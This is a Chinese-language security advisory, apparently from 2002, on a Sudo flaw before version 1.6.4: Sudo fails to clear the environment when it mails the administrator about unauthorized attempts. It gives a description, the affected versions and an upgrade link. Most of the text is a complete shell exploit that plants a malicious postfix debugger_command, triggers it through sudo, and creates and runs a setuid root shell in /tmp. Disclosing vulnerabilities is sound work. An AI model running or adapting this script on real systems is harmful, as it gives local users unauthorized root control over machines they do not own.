Sudo 漏洞导致本地者获取系统特权
/ns/ld/softld/data/20020311144955.htm
涉及程序:
Sudo
描述:
本地攻击者利用 Sudo 漏洞能获取系统特权 ( 附 exploit )
详细:
Sudo (superuser do) 允许管理员授权给普通用户和组以 root 身份运行某些命令。但是发现该程序存在漏洞,在它发送邮件,通知管理员有未授权 sudo 企图时,它没有清空环境。恶意用户利用此点,通过提供参数给邮件程序,将可能获得系统特权。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <core@bokeoa.com>
# Put your password here if you're not in the sudoers file
PASSWORD=wdnownz
echo -e "sudo exploit by core <core@bokeoa.com>\n"
echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp
echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf
echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=
sleep 2
echo "Trying to exploit..."
echo -e "$PASSWORD\n"|/usr/bin/sudo su -
sleep 2
echo "We should have a root shell let's check..."
ls -l /tmp/sh
echo "Cleaning up..."
rm -rf /tmp/postfix
echo "Attempting to run root shell..."
/tmp/sh
受影响版本:
Sudo 1.6.4 之前版本
解决方案:
下载安装升级版本:
http://www.courtesan.com/sudo/sudo.html